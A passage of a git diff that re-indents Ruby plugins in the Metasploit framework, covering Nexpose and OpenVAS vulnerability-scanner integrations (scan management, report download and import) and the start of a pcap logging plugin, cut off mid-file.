print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose + + rep = true + begin + prev = nil + while(true) + info = @nsc.scan_statistics(sid) + break if info[:summary]['status'] != "running" + stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" + if(stat != prev) + print_status(" >> #{stat}") if opt_verbose + end + prev = stat + select(nil, nil, nil, 5.0) + end + print_status(" >> Scan has been completed with ID ##{sid}") if opt_verbose + rescue ::Interrupt + rep = false + print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose + @nsc.scan_stop(sid) + break + end + + # Wait for the automatic report generation to complete + if(rep) + print_status(" >> Waiting on the report to generate...") if opt_verbose + url = nil + while(! url) + url = @nsc.report_last(report.config_id) + select(nil, nil, nil, 1.0) + end + + print_status(" >> Downloading the report data from Nexpose...") if opt_verbose + data = @nsc.download(url) + + if(opt_savexml) + ::FileUtils.mkdir_p(opt_savexml) + path = ::File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml") + print_status(" >> Saving scan data into #{path}") if opt_verbose + ::File.open(path, "wb") { |fd| fd.write(data) } + end + + process_nexpose_data(report_format, data) + end + + if ! opt_preserve + print_status(" >> Deleting the temporary site and report...") if opt_verbose + @nsc.site_delete(site.site_id) + end + end + + print_status("Completed the scan of #{total} addresses") + end + + def cmd_nexpose_disconnect(*args) + @nsc.logout if @nsc + @nsc = nil + end + + def process_nexpose_data(fmt, data) + case fmt + when 'raw-xml-v2' + framework.db.import({:data => data}) + when 'ns-xml' + framework.db.import({:data => data}) + else + print_error("Unsupported Nexpose data format: #{fmt}") + end + end + + # + # Nexpose vuln lookup + # + def nexpose_vuln_lookup(doc, vid, refs, host, serv=nil) + doc.elements.each("/NexposeReport/VulnerabilityDefinitions/vulnerability[@id = '#{vid}']]") do |vulndef| + + title = vulndef.attributes['title'] + pciSeverity = vulndef.attributes['pciSeverity'] + cvss_score = vulndef.attributes['cvssScore'] + cvss_vector = vulndef.attributes['cvssVector'] + + vulndef.elements['references'].elements.each('reference') do |ref| + if ref.attributes['source'] == 'BID' + refs[ 'BID-' + ref.text ] = true + elsif ref.attributes['source'] == 'CVE' + # ref.text is CVE-$ID + refs[ ref.text ] = true + elsif ref.attributes['source'] == 'MS' + refs[ 'MSB-MS-' + ref.text ] = true + end + end + + refs[ 'NEXPOSE-' + vid.downcase ] = true + + vuln = framework.db.find_or_create_vuln( + :host => host, + :service => serv, + :name => 'NEXPOSE-' + vid.downcase, + :data => title) + + rids = [] + refs.keys.each do |r| + rids << framework.db.find_or_create_ref(:name => r) + end + + vuln.refs << (rids - vuln.refs) + end + end + + end + + # + # Plugin initialization + # + + def initialize(framework, opts) + super + + add_console_dispatcher(NexposeCommandDispatcher) + banner = ["0a205f5f5f5f202020202020202020202020205f20202020205f205f5f5f5f5f2020205f2020205f20202020205f5f20205f5f2020202020202020202020202020202020202020200a7c20205f205c205f5f205f205f205f5f20285f29205f5f7c207c5f5f5f20207c207c205c207c207c205f5f5f5c205c2f202f5f205f5f2020205f5f5f20205f5f5f20205f5f5f200a7c207c5f29202f205f60207c20275f205c7c207c2f205f60207c20202f202f20207c20205c7c207c2f205f205c5c20202f7c20275f205c202f205f205c2f205f5f7c2f205f205c0a7c20205f203c20285f7c207c207c5f29207c207c20285f7c207c202f202f2020207c207c5c20207c20205f5f2f2f20205c7c207c5f29207c20285f29205c5f5f205c20205f5f2f0a7c5f7c205c5f5c5f5f2c5f7c202e5f5f2f7c5f7c5c5f5f2c5f7c2f5f2f202020207c5f7c205c5f7c5c5f5f5f2f5f2f5c5f5c202e5f5f2f205c5f5f5f2f7c5f5f5f2f5c5f5f5f7c0a20202020202020202020207c5f7c20202020202020202020202020202020202020202020202020202020202020202020207c5f7c202020202020202020202020202020202020200a0a0a"].pack("H*") + + # Do not use this UTF-8 encoded high-ascii art for non-UTF-8 or windows consoles + lang = Rex::Compat.getenv("LANG") + if (lang and lang =~ /UTF-8/) + # Cygwin/Windows should not be reporting UTF-8 either... + # (! (Rex::Compat.is_windows or Rex::Compat.is_cygwin)) + banner = ["202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29684e29684e29684202020e29684e29684202020202020202020202020e29684e29684e296842020e29684e29684e2968420202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29688202020e29688e2968820202020202020202020202020e29688e2968820e29684e29688e296882020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29680e296882020e29688e29688202020e29684e29688e29688e29688e29688e296842020202020e29688e29688e29688e2968820202020e29688e29688e29684e29688e29688e29688e2968420202020e29684e29688e29688e29688e29688e29684202020e29684e29684e29688e29688e29688e29688e29688e29684202020e29684e29688e29688e29688e29688e2968420200a20e29688e2968820e29688e2968820e29688e296882020e29688e29688e29684e29684e29684e29684e29688e296882020202020e29688e296882020202020e29688e29688e296802020e29680e29688e296882020e29688e29688e296802020e29680e29688e296882020e29688e29688e29684e29684e29684e2968420e296802020e29688e29688e29684e29684e29684e29684e29688e29688200a20e29688e296882020e29688e29684e29688e296882020e29688e29688e29680e29680e29680e29680e29680e2968020202020e29688e29688e29688e2968820202020e29688e2968820202020e29688e296882020e29688e2968820202020e29688e29688202020e29680e29680e29680e29680e29688e29688e296842020e29688e29688e29680e29680e29680e29680e29680e29680200a20e29688e29688202020e29688e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688202020e29688e296882020e29688e29688202020e29688e29688e29688e29684e29684e29688e29688e296802020e29680e29688e29688e29684e29684e29688e29688e296802020e29688e29684e29684e29684e29684e29684e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688200a20e29680e29680202020e29680e29680e2968020202020e29680e29680e29680e29680e29680202020e29680e29680e296802020e29680e29680e296802020e29688e2968820e29680e29680e29680202020202020e29680e29680e29680e296802020202020e29680e29680e29680e29680e29680e296802020202020e29680e29680e29680e29680e2968020200a20202020202020202020202020202020202020202020202020202020202020e29688e29688202020202020202020202020202020202020202020202020202020202020202020202020200a202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a"].pack("H*") + end + print(banner) + print_status("Nexpose integration has been activated") + end + + def cleanup + remove_console_dispatcher('Nexpose') + end + + def name + "nexpose" + end + + def desc + "Integrates with the Rapid7 Nexpose vulnerability management product" + end end end diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 34d8140552..91689190ab 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -14,555 +14,555 @@ require 'openvas/openvas-omp' module Msf class Plugin::OpenVAS < Msf::Plugin - class OpenVASCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "OpenVAS" - end - - def commands - { - 'openvas_help' => "Displays help", - 'openvas_version' => "Display the version of the OpenVAS server", - 'openvas_debug' => "Enable/Disable debugging", - 'openvas_connect' => "Connect to an OpenVAS manager using OMP", - 'openvas_disconnect' => "Disconnect from OpenVAS manager", - - 'openvas_task_create' => "Create a task (name, comment, target, config)", - 'openvas_task_delete' => "Delete task by ID", - 'openvas_task_list' => "Display list of tasks", - 'openvas_task_start' => "Start task by ID", - 'openvas_task_stop' => "Stop task by ID", - 'openvas_task_pause' => "Pause task by ID", - 'openvas_task_resume' => "Resume task by ID", - 'openvas_task_resume_or_start' => "Resume task or start task by ID", - - 'openvas_target_create' => "Create target (name, hosts, comment)", - 'openvas_target_delete' => "Delete target by ID", - 'openvas_target_list' => "Display list of targets", - - 'openvas_config_list' => "Quickly display list of configs", - - 'openvas_format_list' => "Display list of available report formats", - - 'openvas_report_list' => "Display a list of available report formats", - 'openvas_report_delete' => "Delete a report specified by ID", - 'openvas_report_download' => "Save a report to disk", - 'openvas_report_import' => "Import report specified by ID into framework", - } - end - - def cmd_openvas_help() - print_status("openvas_help Display this help") - print_status("openvas_debug Enable/Disable debugging") - print_status("openvas_version Display the version of the OpenVAS server") - print_status - print_status("CONNECTION") - print_status("==========") - print_status("openvas_connect Connects to OpenVAS") - print_status("openvas_disconnect Disconnects from OpenVAS") - print_status - print_status("TARGETS") - print_status("=======") - print_status("openvas_target_create Create target") - print_status("openvas_target_delete Deletes target specified by ID") - print_status("openvas_target_list Lists targets") - print_status - print_status("TASKS") - print_status("=====") - print_status("openvas_task_create Create task") - print_status("openvas_task_delete Delete a task and all associated reports") - print_status("openvas_task_list Lists tasks") - print_status("openvas_task_start Starts task specified by ID") - print_status("openvas_task_stop Stops task specified by ID") - print_status("openvas_task_pause Pauses task specified by ID") - print_status("openvas_task_resume Resumes task specified by ID") - print_status("openvas_task_resume_or_start Resumes or starts task specified by ID") - print_status - print_status("CONFIGS") - print_status("=======") - print_status("openvas_config_list Lists scan configurations") - print_status - print_status("FORMATS") - print_status("=======") - print_status("openvas_format_list Lists available report formats") - print_status - print_status("REPORTS") - print_status("=======") - print_status("openvas_report_list Lists available reports") - print_status("openvas_report_delete Delete a report specified by ID") - print_status("openvas_report_import Imports an OpenVAS report specified by ID") - print_status("openvas_report_download Downloads an OpenVAS report specified by ID") - end - - # Verify the database is connected and usable - def database? - if !(framework.db and framework.db.usable) - return false - else - return true - end - end - - # Verify there is an active OpenVAS connection - def openvas? - if @ov - return true - else - print_error("No OpenVAS connection available. Please use openvas_connect.") - return false - end - end - - # Verify correct number of arguments and verify -h was not given. Return - # true if correct number of arguments and help was not requested. - def args?(args, min=1, max=nil) - if not max then max = min end - if (args.length < min or args.length > max or args[0] == "-h") - return false - end - - return true - end - - #-------------------------- - # Basic Functions - #-------------------------- - def cmd_openvas_debug(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.debug(args[0].to_i) - print_good(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage:") - print_status("openvas_debug integer") - end - end - - def cmd_openvas_version() - return unless openvas? - - begin - ver = @ov.get_version - print_good("Using OMP version #{ver}") - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - - #-------------------------- - # Connection Functions - #-------------------------- - def cmd_openvas_connect(*args) - # Is the database configured? - if not database? - print_error("No database has been configured.") - return - end - - # Don't allow duplicate sessions - if @ov then - print_error("Session already open, please use openvas_disconnect first.") - return - end - - # Make sure the correct number of arguments are present. - if args?(args, 4, 5) - - user, pass, host, port, sslv = args - - # SSL warning. User is required to confirm. - if(host != "localhost" and host != "127.0.0.1" and sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the OpenVAS traffic to capture the OpenVAS") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - begin - print_status("Connecting to OpenVAS instance at #{host}:#{port} with username #{user}...") - ov = OpenVASOMP::OpenVASOMP.new(user, pass, host, port) - rescue OpenVASOMP::OMPAuthError => e - print_error("Authentication failed: #{e.reason}") - return - rescue OpenVASOMP::OMPConnectionError => e - print_error("Connection failed: #{e.reason}") - return - end - print_good("OpenVAS connection successful") - @ov = ov - - else - print_status("Usage:") - print_status("openvas_connect username password host port <ssl-confirm>") - end - end - - # Disconnect from an OpenVAS manager - def cmd_openvas_disconnect() - return unless openvas? - @ov.logout - @ov = nil - end - - - #-------------------------- - # Target Functions - #-------------------------- - def cmd_openvas_target_create(*args) - return unless openvas? - - if args?(args, 3) - begin - resp = @ov.target_create(args[0], args[1], args[2]) - print_status(resp) - cmd_openvas_target_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - - else - print_status("Usage: openvas_target_create <name> <hosts> <comment>") - end - end - - def cmd_openvas_target_delete(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.target_delete(args[0]) - print_status(resp) - cmd_openvas_target_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_target_delete <target_id>") - end - end - - def cmd_openvas_target_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"]) - id = 0 - @ov.target_get_all().each do |target| - tbl << [ id, target["name"], target["hosts"], target["max_hosts"], - target["in_use"], target["comment"] ] - id += 1 - end - print_good("OpenVAS list of targets") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Task Functions - #-------------------------- - def cmd_openvas_task_create(*args) - return unless openvas? - - if args?(args, 4) - begin - resp = @ov.task_create(args[0], args[1], args[2], args[3]) - print_status(resp) - cmd_openvas_task_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - - else - print_status("Usage: openvas_task_create <name> <comment> <config_id> <target_id>") - end - end - - def cmd_openvas_task_delete(*args) - return unless openvas? - - if args?(args, 2) - - # User is required to confirm before deleting task. - if(args[1] != "ok") - print_error("Warning: Deleting a task will also delete all reports associated with the ") - print_error("task, please pass in 'ok' as an additional parameter to this command.") - return - end - - begin - resp = @ov.task_delete(args[0]) - print_status(resp) - cmd_openvas_task_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_delete <id> ok") - print_error("This will delete the task and all associated reports.") - end - end - - def cmd_openvas_task_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Comment", "Status", "Progress"]) - id = 0 - @ov.task_get_all().each do |task| - tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ] - id += 1 - end - print_good("OpenVAS list of tasks") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - def cmd_openvas_task_start(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_start(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_start <id>") - end - end - - def cmd_openvas_task_stop(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_stop(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_stop <id>") - end - end - - def cmd_openvas_task_pause(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_pause(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_pause <id>") - end - end - - def cmd_openvas_task_resume(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_resume_paused(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_resume <id>") - end - end - - def cmd_openvas_task_resume_or_start(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.task_resume_or_start(args[0]) - print_status(resp) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_task_resume_or_start <id>") - end - end - - #-------------------------- - # Config Functions - #-------------------------- - def cmd_openvas_config_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ "ID", "Name" ]) - - id = 0 - @ov.configs.each do |config| - tbl << [ id, config["name"] ] - id += 1 - end - print_good("OpenVAS list of configs") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Format Functions - #-------------------------- - def cmd_openvas_format_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Name", "Extension", "Summary"]) - id = 0 - @ov.formats.each do |format| - tbl << [ id, format["name"], format["extension"], format["summary"] ] - id += 1 - end - print_good("OpenVAS list of report formats") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - #-------------------------- - # Report Functions - #-------------------------- - def cmd_openvas_report_list(*args) - return unless openvas? - - begin - tbl = Rex::Ui::Text::Table.new( - 'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"]) - id = 0 - @ov.report_get_all().each do |report| - tbl << [ id, report["task"], report["start_time"], report["stop_time"] ] - id += 1 - end - print_good("OpenVAS list of reports") - print_line - print_line tbl.to_s - print_line - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - end - - def cmd_openvas_report_delete(*args) - return unless openvas? - - if args?(args) - begin - resp = @ov.report_delete(args[0]) - print_status(resp) - cmd_openvas_report_list - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_delete <id>") - end - end - - def cmd_openvas_report_download(*args) - return unless openvas? - - if args?(args, 4) - begin - report = @ov.report_get_by_id(args[0], args[1]) - ::FileUtils.mkdir_p(args[2]) - name = ::File.join(args[2], args[3]) - print_status("Saving report to #{name}") - output = ::File.new(name, "w") - output.puts(report) - output.close - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_download <report_id> <format_id> <path> <report_name>") - end - end - - def cmd_openvas_report_import(*args) - return unless openvas? - - if args?(args, 2) - begin - report = @ov.report_get_by_id(args[0], args[1]) - print_status("Importing report to database.") - framework.db.import({:data => report}) - rescue OpenVASOMP::OMPError => e - print_error(e.to_s) - end - else - print_status("Usage: openvas_report_import <report_id> <format_id>") - print_status("Only the NBE and XML formats are supported for importing.") - end - end - - end # End OpenVAS class + class OpenVASCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "OpenVAS" + end + + def commands + { + 'openvas_help' => "Displays help", + 'openvas_version' => "Display the version of the OpenVAS server", + 'openvas_debug' => "Enable/Disable debugging", + 'openvas_connect' => "Connect to an OpenVAS manager using OMP", + 'openvas_disconnect' => "Disconnect from OpenVAS manager", + + 'openvas_task_create' => "Create a task (name, comment, target, config)", + 'openvas_task_delete' => "Delete task by ID", + 'openvas_task_list' => "Display list of tasks", + 'openvas_task_start' => "Start task by ID", + 'openvas_task_stop' => "Stop task by ID", + 'openvas_task_pause' => "Pause task by ID", + 'openvas_task_resume' => "Resume task by ID", + 'openvas_task_resume_or_start' => "Resume task or start task by ID", + + 'openvas_target_create' => "Create target (name, hosts, comment)", + 'openvas_target_delete' => "Delete target by ID", + 'openvas_target_list' => "Display list of targets", + + 'openvas_config_list' => "Quickly display list of configs", + + 'openvas_format_list' => "Display list of available report formats", + + 'openvas_report_list' => "Display a list of available report formats", + 'openvas_report_delete' => "Delete a report specified by ID", + 'openvas_report_download' => "Save a report to disk", + 'openvas_report_import' => "Import report specified by ID into framework", + } + end + + def cmd_openvas_help() + print_status("openvas_help Display this help") + print_status("openvas_debug Enable/Disable debugging") + print_status("openvas_version Display the version of the OpenVAS server") + print_status + print_status("CONNECTION") + print_status("==========") + print_status("openvas_connect Connects to OpenVAS") + print_status("openvas_disconnect Disconnects from OpenVAS") + print_status + print_status("TARGETS") + print_status("=======") + print_status("openvas_target_create Create target") + print_status("openvas_target_delete Deletes target specified by ID") + print_status("openvas_target_list Lists targets") + print_status + print_status("TASKS") + print_status("=====") + print_status("openvas_task_create Create task") + print_status("openvas_task_delete Delete a task and all associated reports") + print_status("openvas_task_list Lists tasks") + print_status("openvas_task_start Starts task specified by ID") + print_status("openvas_task_stop Stops task specified by ID") + print_status("openvas_task_pause Pauses task specified by ID") + print_status("openvas_task_resume Resumes task specified by ID") + print_status("openvas_task_resume_or_start Resumes or starts task specified by ID") + print_status + print_status("CONFIGS") + print_status("=======") + print_status("openvas_config_list Lists scan configurations") + print_status + print_status("FORMATS") + print_status("=======") + print_status("openvas_format_list Lists available report formats") + print_status + print_status("REPORTS") + print_status("=======") + print_status("openvas_report_list Lists available reports") + print_status("openvas_report_delete Delete a report specified by ID") + print_status("openvas_report_import Imports an OpenVAS report specified by ID") + print_status("openvas_report_download Downloads an OpenVAS report specified by ID") + end + + # Verify the database is connected and usable + def database? + if !(framework.db and framework.db.usable) + return false + else + return true + end + end + + # Verify there is an active OpenVAS connection + def openvas? + if @ov + return true + else + print_error("No OpenVAS connection available. Please use openvas_connect.") + return false + end + end + + # Verify correct number of arguments and verify -h was not given. Return + # true if correct number of arguments and help was not requested. + def args?(args, min=1, max=nil) + if not max then max = min end + if (args.length < min or args.length > max or args[0] == "-h") + return false + end + + return true + end + + #-------------------------- + # Basic Functions + #-------------------------- + def cmd_openvas_debug(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.debug(args[0].to_i) + print_good(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage:") + print_status("openvas_debug integer") + end + end + + def cmd_openvas_version() + return unless openvas? + + begin + ver = @ov.get_version + print_good("Using OMP version #{ver}") + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + + #-------------------------- + # Connection Functions + #-------------------------- + def cmd_openvas_connect(*args) + # Is the database configured? + if not database? + print_error("No database has been configured.") + return + end + + # Don't allow duplicate sessions + if @ov then + print_error("Session already open, please use openvas_disconnect first.") + return + end + + # Make sure the correct number of arguments are present. + if args?(args, 4, 5) + + user, pass, host, port, sslv = args + + # SSL warning. User is required to confirm. + if(host != "localhost" and host != "127.0.0.1" and sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the OpenVAS traffic to capture the OpenVAS") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + begin + print_status("Connecting to OpenVAS instance at #{host}:#{port} with username #{user}...") + ov = OpenVASOMP::OpenVASOMP.new(user, pass, host, port) + rescue OpenVASOMP::OMPAuthError => e + print_error("Authentication failed: #{e.reason}") + return + rescue OpenVASOMP::OMPConnectionError => e + print_error("Connection failed: #{e.reason}") + return + end + print_good("OpenVAS connection successful") + @ov = ov + + else + print_status("Usage:") + print_status("openvas_connect username password host port <ssl-confirm>") + end + end + + # Disconnect from an OpenVAS manager + def cmd_openvas_disconnect() + return unless openvas? + @ov.logout + @ov = nil + end + + + #-------------------------- + # Target Functions + #-------------------------- + def cmd_openvas_target_create(*args) + return unless openvas? + + if args?(args, 3) + begin + resp = @ov.target_create(args[0], args[1], args[2]) + print_status(resp) + cmd_openvas_target_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + + else + print_status("Usage: openvas_target_create <name> <hosts> <comment>") + end + end + + def cmd_openvas_target_delete(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.target_delete(args[0]) + print_status(resp) + cmd_openvas_target_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_target_delete <target_id>") + end + end + + def cmd_openvas_target_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"]) + id = 0 + @ov.target_get_all().each do |target| + tbl << [ id, target["name"], target["hosts"], target["max_hosts"], + target["in_use"], target["comment"] ] + id += 1 + end + print_good("OpenVAS list of targets") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Task Functions + #-------------------------- + def cmd_openvas_task_create(*args) + return unless openvas? + + if args?(args, 4) + begin + resp = @ov.task_create(args[0], args[1], args[2], args[3]) + print_status(resp) + cmd_openvas_task_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + + else + print_status("Usage: openvas_task_create <name> <comment> <config_id> <target_id>") + end + end + + def cmd_openvas_task_delete(*args) + return unless openvas? + + if args?(args, 2) + + # User is required to confirm before deleting task. + if(args[1] != "ok") + print_error("Warning: Deleting a task will also delete all reports associated with the ") + print_error("task, please pass in 'ok' as an additional parameter to this command.") + return + end + + begin + resp = @ov.task_delete(args[0]) + print_status(resp) + cmd_openvas_task_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_delete <id> ok") + print_error("This will delete the task and all associated reports.") + end + end + + def cmd_openvas_task_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Comment", "Status", "Progress"]) + id = 0 + @ov.task_get_all().each do |task| + tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ] + id += 1 + end + print_good("OpenVAS list of tasks") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + def cmd_openvas_task_start(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_start(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_start <id>") + end + end + + def cmd_openvas_task_stop(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_stop(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_stop <id>") + end + end + + def cmd_openvas_task_pause(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_pause(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_pause <id>") + end + end + + def cmd_openvas_task_resume(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_resume_paused(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_resume <id>") + end + end + + def cmd_openvas_task_resume_or_start(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.task_resume_or_start(args[0]) + print_status(resp) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_task_resume_or_start <id>") + end + end + + #-------------------------- + # Config Functions + #-------------------------- + def cmd_openvas_config_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ "ID", "Name" ]) + + id = 0 + @ov.configs.each do |config| + tbl << [ id, config["name"] ] + id += 1 + end + print_good("OpenVAS list of configs") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Format Functions + #-------------------------- + def cmd_openvas_format_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Name", "Extension", "Summary"]) + id = 0 + @ov.formats.each do |format| + tbl << [ id, format["name"], format["extension"], format["summary"] ] + id += 1 + end + print_good("OpenVAS list of report formats") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + #-------------------------- + # Report Functions + #-------------------------- + def cmd_openvas_report_list(*args) + return unless openvas? + + begin + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"]) + id = 0 + @ov.report_get_all().each do |report| + tbl << [ id, report["task"], report["start_time"], report["stop_time"] ] + id += 1 + end + print_good("OpenVAS list of reports") + print_line + print_line tbl.to_s + print_line + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + end + + def cmd_openvas_report_delete(*args) + return unless openvas? + + if args?(args) + begin + resp = @ov.report_delete(args[0]) + print_status(resp) + cmd_openvas_report_list + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_delete <id>") + end + end + + def cmd_openvas_report_download(*args) + return unless openvas? + + if args?(args, 4) + begin + report = @ov.report_get_by_id(args[0], args[1]) + ::FileUtils.mkdir_p(args[2]) + name = ::File.join(args[2], args[3]) + print_status("Saving report to #{name}") + output = ::File.new(name, "w") + output.puts(report) + output.close + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_download <report_id> <format_id> <path> <report_name>") + end + end + + def cmd_openvas_report_import(*args) + return unless openvas? + + if args?(args, 2) + begin + report = @ov.report_get_by_id(args[0], args[1]) + print_status("Importing report to database.") + framework.db.import({:data => report}) + rescue OpenVASOMP::OMPError => e + print_error(e.to_s) + end + else + print_status("Usage: openvas_report_import <report_id> <format_id>") + print_status("Only the NBE and XML formats are supported for importing.") + end + end + + end # End OpenVAS class #------------------------------ # Plugin initialization #------------------------------ - def initialize(framework, opts) - super - add_console_dispatcher(OpenVASCommandDispatcher) - print_status("Welcome to OpenVAS integration by kost and averagesecurityguy.") - print_status - print_status("OpenVAS integration requires a database connection. Once the ") - print_status("database is ready, connect to the OpenVAS server using openvas_connect.") - print_status("For additional commands use openvas_help.") - print_status - @ov = nil - @formats = nil - end + def initialize(framework, opts) + super + add_console_dispatcher(OpenVASCommandDispatcher) + print_status("Welcome to OpenVAS integration by kost and averagesecurityguy.") + print_status + print_status("OpenVAS integration requires a database connection. Once the ") + print_status("database is ready, connect to the OpenVAS server using openvas_connect.") + print_status("For additional commands use openvas_help.") + print_status + @ov = nil + @formats = nil + end - def cleanup - remove_console_dispatcher('OpenVAS') - end + def cleanup + remove_console_dispatcher('OpenVAS') + end - def name - "OpenVAS" - end + def name + "OpenVAS" + end - def desc - "Integrates with the OpenVAS - open source vulnerability management" - end + def desc + "Integrates with the OpenVAS - open source vulnerability management" + end end end diff --git a/plugins/pcap_log.rb b/plugins/pcap_log.rb index aecd5c0b1a..d95aa8abf9 100644 --- a/plugins/pcap_log.rb +++ b/plugins/pcap_log.rb @@ -15,188 +15,188 @@ module Msf class Plugin::PcapLog < Msf::Plugin - # Only little-endian is supported in this implementation. - PCAP_FILE_HEADER = "\xD4\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00" + # Only little-endian is supported in this implementation. + PCAP_FILE_HEADER = "\xD4\xC3\xB2\xA1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00" - # - # Implements a pcap console command dispatcher. - # - class PcapLogDispatcher + # + # Implements a pcap console command dispatcher. + # + class PcapLogDispatcher - include Msf::Ui::Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name 